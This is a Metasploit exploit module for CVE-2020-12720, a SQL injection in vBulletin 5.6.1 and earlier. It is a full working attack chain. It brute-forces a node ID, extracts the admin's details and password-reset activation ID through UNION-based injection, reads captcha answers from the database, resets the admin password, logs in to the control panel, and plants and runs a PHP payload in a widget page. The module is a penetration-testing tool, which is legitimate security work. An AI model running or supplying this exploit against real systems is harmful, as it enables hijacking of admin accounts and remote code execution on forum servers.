##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection',
        'Description' => %q{
          This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier
          This module uses the getIndexableContent vulnerability to reset the administrators password,
          it then uses the administrators login information to achieve RCE on the target. This module
          has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE
          'Zenofex <zenofex[at]exploitee.rs>', # (@zenofex) PoC and Metasploit module
        ],
        'References' => [
          ['CVE', '2020-12720'],
        ],
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Automatic', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-03-12',
        'DefaultTarget' => 0
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']),
      OptInt.new('NODE', [false, 'Valid Node ID']),
      OptInt.new('MINNODE', [true, 'Valid Node ID', 1]),
      OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]),
      OptBool.new('MANUALLOSTPASS', [false, 'true if an administrator lost password request has already been sent.', false])
    ])
  end

  # Performs SQLi attack
  def do_sqli(node_id, tbl_prfx, field, table, condition)
    where_cond = condition.nil? || condition == '' ? '' : "where #{condition}"
    injection = " UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 "
    injection << "from #{tbl_prfx}#{table} #{where_cond}--"

    print_status("Performing SQL injection on target to retrieve '#{field}' from '#{tbl_prfx}#{table}'.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'),
      'vars_post' => {
        'nodeId[nodeid]' => "#{node_id}#{injection}"
      }
    })

    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext']

    parsed_resp['rawtext']
  end

  # Gets human verification token
  def get_hv_hash
    print_status("Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'),
      'vars_post' => {
        'securitytoken' => 'guest'
      }
    })

    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash']

    hv_hash = parsed_resp['hash']
    print_good("Retrieved '#{hv_hash}' human verification token.")
    hv_hash
  end

  # Gets the human verification (question based) answer
  def get_hv_ques_answer(node_id, tbl_prfx, questionid)
    print_status("Using HV token '#{questionid}' and SQLinjection to determine HV question answer.")
    hv_answer = do_sqli(node_id, tbl_prfx, 'regex', 'hvquestion', "questionid = '#{questionid}'")

    if questionid.nil?
      return nil
    end

    print_good("Retrieved the answer '#{hv_answer}' (REGEX) to the HV question with id '#{questionid}'.")
    hv_answer
  end

  # Gets the human verification (image based) answer
  def get_hv_answer(node_id, tbl_prfx, hv_hash)
    print_status("Using HV token '#{hv_hash}' and SQLinjection to determine HV answer.")
    hv_answer = do_sqli(node_id, tbl_prfx, 'answer', 'humanverify', "hash = '#{hv_hash}'")

    if hv_answer.nil?
      return nil
    end

    print_good("Retrieved '#{hv_answer}' answer to HV token '#{hv_hash}'.")
    hv_answer
  end

  # Gets the prefix to the SQL tables used in vbulletin install
  def get_table_prefix(node_id)
    print_status('Attempting to determine the vBulletin table prefix.')
    table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', "column_name='phrasegroup_cppermission'")

    unless table_name && table_name.split('language').index
      fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')
    end

    tbl_prefix = table_name.split('language')[0]
    print_good("Sucessfully retrieved table to get prefix from #{table_name}.")

    tbl_prefix
  end

  # Sends the request to begin forgot password request
  def begin_reset_pass(admin_email, hv_answer, hv_hash, type = 'Image')
    print_status("Making request to '#{target_uri.path}/auth/lostpw' to begin lost password process.")
    if type == 'Question'
      hv_field_name1 = 'humanverify[input]'
      hv_field_name2 = 'humanverify[hash]'
    elsif type == 'Recaptcha2'
      hv_field_name1 = 'unused'
      hv_field_name2 = 'humanverify[g-recaptcha-response]'
    else
      hv_field_name1 = 'humanverify[input]'
      hv_field_name2 = 'humanverify[hash]'
    end

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'auth', 'lostpw'),
      'vars_post' => {
        'email' => admin_email.to_s,
        hv_field_name1.to_s => hv_answer.to_s,
        hv_field_name2.to_s => hv_hash.to_s,
        'securitytoken' => 'guest'
      }
    })

    return false unless res && res.code == 200

    parsed_resp = res.get_json_document

    return false if parsed_resp['response'] && parsed_resp['response']['errors']

    true
  end

  # Attempts to login to vBulletin install
  def login(user, pass, type = '')
    print_status("Making login request to '#{target_uri.path}/auth/ajax-login' with username: '#{user}' and password: '#{pass}'.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'auth', 'ajax-login'),
      'vars_post' => {
        'logintype': type.to_s,
        'username' => user.to_s,
        'password' => pass.to_s,
        'securitytoken' => 'guest'
      }
    })

    return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']

    print_good("Successfully logged in as #{user} #{type}.")

    [res.get_cookies, parsed_resp['newtoken']]
  end

  # Gets an administrator's info from the database using SQLi
  def get_admin_info(node_id, tbl_prefix)
    uid = do_sqli(node_id, tbl_prefix, 'userid', 'administrator', nil)
    username = do_sqli(node_id, tbl_prefix, 'username', 'user', "userid = '#{uid}'")
    token = do_sqli(node_id, tbl_prefix, 'token', 'user', "userid = '#{uid}'")
    email = do_sqli(node_id, tbl_prefix, 'email', 'user', "userid = '#{uid}'")

    unless uid && username && token && email
      return [nil, nil, nil, nil]
    end

    [uid, username, token, email]
  end

  # Activates vBulletin site builder
  def activate_sitebuilder(pageid, nodeid, userid, sec_token, cookie_jar)
    print_status("Making request to '#{target_uri.path}/ajax/activate-sitebuilder' to activate site-builder functionality.")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax', 'activate-sitebuilder'),
      'cookie' => [cookie_jar],
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        'pageid' => pageid.to_s,
        'nodeid' => nodeid.to_s,
        'userid' => userid.to_s,
        'loadMenu' => 'false',
        'isAjaxTemplateRender' => 'true',
        'isAjaxTemplateRenderWithData' => 'true',
        'securitytoken' => sec_token.to_s
      }
    })

    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']

    print_good('Successfully enabled site-builder functionality.')
    true
  end

  # Creates new widget instance
  def new_widget_instance(sec_token, cookie_jar)
    print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveNewWidgetInstance' to create new widget.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveNewWidgetInstance'),
      'cookie' => [cookie_jar],
      'vars_post' => {
        'containerinstanceid' => '0',
        'widgetid' => '23', # PHP widget type ID
        'pagetemplateid' => '',
        'securitytoken' => sec_token.to_s
      }
    })

    return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['widgetinstanceid']

    print_good('Created new widget instance.')

    [parsed_resp['widgetinstanceid'], parsed_resp['pagetemplateid']]
  end

  # Saves a new widget to vBulletin.
  def save_widget(pt_id, wi_id, payload, sec_token, cookie_jar)
    print_status("Making request to '#{target_uri.path}/ajax/api/widget/saveAdminConfig' to add payload to widget.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveAdminConfig'),
      'cookie' => [cookie_jar],
      'vars_post' => {
        'widgetid' => '23', # PHP widget type ID
        'pagetemplateid' => pt_id.to_s,
        'widgetinstanceid' => wi_id.to_s,
        'data[widget_type]' => '',
        'data[title]' => rand_text_alphanumeric(rand(6..16)),
        'data[show_at_breakpoints][desktop]' => '1',
        'data[show_at_breakpoints][small]' => '1',
        'data[show_at_breakpoints][xsmall]' => '1',
        'data[hide_title]' => '1',
        'data[module_viewpermissions][key]' => 'show_all',
        'data[code]' => payload.encoded.to_s,
        'securitytoken' => sec_token.to_s
      }
    })

    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']

    print_good('Successfully added payload to widget.')

    true
  end

  # Sends request to reset password using activation id.
  def reset_password(admin_uid, act_id, new_pass)
    print_status("Sending reset password request to '#{target_uri.path}/auth/reset-password'.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'auth', 'reset-password'),
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        'userid' => admin_uid.to_s,
        'activationid' => act_id.to_s,
        'new-password' => new_pass.to_s,
        'new-password-confirm' => new_pass.to_s,
        'securitytoken' => 'guest'
      }
    })

    unless res && res.code == 200 && res.body.to_s =~ /Logging in/
      return nil
    end

    print_good("User with userid '#{admin_uid}' successfully reset password to '#{new_pass}'.")

    true
  end

  # Deletes a page in vbulletin
  def delete_page(pageid, login_token, cookie_jar)
    print_status("Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'),
      'cookie' => [cookie_jar],
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        'pageid' => pageid.to_s,
        'securitytoken' => login_token.to_s
      }
    })

    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']

    print_good("Successfully deleted page with pageid: #{pageid}")

    true
  end

  # Makes request to execute PHP payload.
  def exec_payload(rest_url)
    print_status("Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, rest_url)
    })

    unless res && res.code == 200
      return nil
    end

    print_good('Request made succesfully, payload should be executing now.')

    true
  end

  # Fetches a human verification question based on hash.
  def get_hv_question(hash)
    print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvQuestion' to get human verification question.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvQuestion'),
      'vars_post' => {
        'hash' => hash.to_s
      }
    })

    unless res && res.code == 200 && res.body.to_s !~ /"errors"/
      return nil
    end

    res.body.to_s.tr('"', '')
  end

  # Saves a new page to the vBulletin install
  def save_page(nodeid, userid, pt_id, payload_url, wi_id, session_info)
    print_status("Sending request to '#{target_uri.path}/admin/savepage' to save new page at '#{payload_url}'.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'savepage'),
      'cookie' => [session_info[1]],
      'vars_post' => {
        'input[ishomeroute]' => '0',
        'input[pageid]' => '0',
        'input[nodeid]' => nodeid.to_s,
        'input[userid]' => userid.to_s,
        'input[screenlayoutid]' => '2',
        'input[templatetitle]' => rand_text_alphanumeric(rand(5..10)),
        'input[displaysections[0]]' => '[]',
        'input[displaysections[1]]' => '[]',
        'input[displaysections[2]]' => "[{\"widgetId\":\"23\",\"widgetInstanceId\":\"#{wi_id}\"}]",
        'input[displaysections[3]]' => '[]',
        'input[pagetitle]' => rand_text_alphanumeric(rand(5..10)),
        'input[resturl]' => payload_url.to_s,
        'input[metadescription]' => rand_text_alphanumeric(rand(5..10)),
        'input[pagetemplateid]' => pt_id.to_s,
        'url' => normalize_uri(target_uri.path),
        'securitytoken' => session_info[0].to_s
      }
    })

    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']

    print_good("Page succesfully created and should be accessible at '#{normalize_uri(target_uri.path, payload_url.to_s)}'.")

    parsed_resp['pageid']
  end

  # Gets human verification type (options: "Question" | "Image" | Recaptcha2 | "Disabled")
  def get_hv_type

    print_status("Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvType')
    })

    unless res && res.code == 200
      return nil
    end

    hv_type = res.body.to_s.tr('"', '')
    print_good("Retrieved HV/captcha type of '#{hv_type}'.")

    hv_type.to_s.tr("'", '')
  end

  # Brute force a nodeid (attack requires a valid nodeid)
  def brute_force_node
    min = datastore['MINNODE']
    max = datastore['MAXNODE']

    if min > max
      print_error("MINNODE can't be major than MAXNODE.")
      return nil
    end

    for node_id in min..max
      if exists_node?(node_id)
        return node_id
      end
    end

    nil
  end

  # Checks if a nodeid is valid
  def exists_node?(id)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'),
      'vars_post' => {
        'nodeid' => id.to_s
      }
    })

    unless res && res.code == 200
      return nil
    end

    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']

    print_good("Sucessfully found node at id #{id}")
    true
  end

  # Gets a node through BF or user supplied value
  def get_node
    if datastore['NODE'].nil? || datastore['NODE'] <= 0
      print_status('Brute forcing to find a valid node id.')
      return brute_force_node
    end

    print_status("Checking node id '#{datastore['NODE']}'.")
    return datastore['NODE'] if exists_node?(datastore['NODE'])

    nil
  end

  # Check function for exploit
  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'js', 'login.js')
    })

    return CheckCode::Unknown unless res && res.code == 200

    return CheckCode::Safe if res.body.to_s =~ /vBulletin 5\.6\.1 Patch Level 1/

    if res.body.to_s =~ /vBulletin ([\.0-9]+)/
      if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.6.1')
        return CheckCode::Safe
      elsif Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.0.0')
        return CheckCode::Appears
      end

      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  # Performs all exploit functionality
  def exploit
    # Get node_id for requests
    node_id = get_node
    fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id

    # Get vBulletin table prefix
    table_prfx = get_table_prefix(node_id)

    # Get admin info (email, uid, token)
    admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx)
    unless admin_uid && admin_user && admin_token && admin_email
      fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.')
    end
    print_good("Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}")

    if !datastore['MANUALLOSTPASS']
      # Determine HV type
      hv_type = get_hv_type

      fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type

      fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type

      # Generate HV token and get answer
      if hv_type == 'Image' && hv_type != 'Disabled'
        hv_hash = get_hv_hash
        hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)
        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer

      elsif hv_type == 'Question' && hv_type != 'Disabled'
        hv_hash = get_hv_hash
        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash

        ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id

        hv_question = get_hv_question(hv_hash)
        hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)
        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer

        print_good("Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).")
      end

      # Make request to forget my password
      brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type)

      # We fail here when the answer to the HV question contains a complex regex or is recaptcha2
      fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret
    end

    # Get Activation ID for forgot password request from DB
    activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'")
    fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id

    # Make request setting new password
    new_pass = rand_text_alphanumeric(rand(10..16))
    rp_ret = reset_password(admin_uid, activation_id, new_pass)
    fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret

    # Login to vBulletin
    cookie_jar, login_token = login(admin_user, new_pass)
    fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token

    # Activate Site Builder (is this necessary?!)
    actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
    fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret

    # Login to vBulletin
    cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
    fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token

    # Create new widget
    wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
    fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id

    # Save modifications to widget
    sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)
    fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret

    # Add page with widget embedded
    payload_url = rand_text_alphanumeric(rand(6..10))
    session_info = [login_token, cookie_jar]
    page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)
    fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id

    # Execute php payload
    print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.")
    exec_payload(payload_url)

    # Delete page with widget embedded within it
    dp_ret = delete_page(page_id, login_token, cookie_jar)
    print_bad('Could not delete page (cleanup phase).') unless dp_ret
  end

end
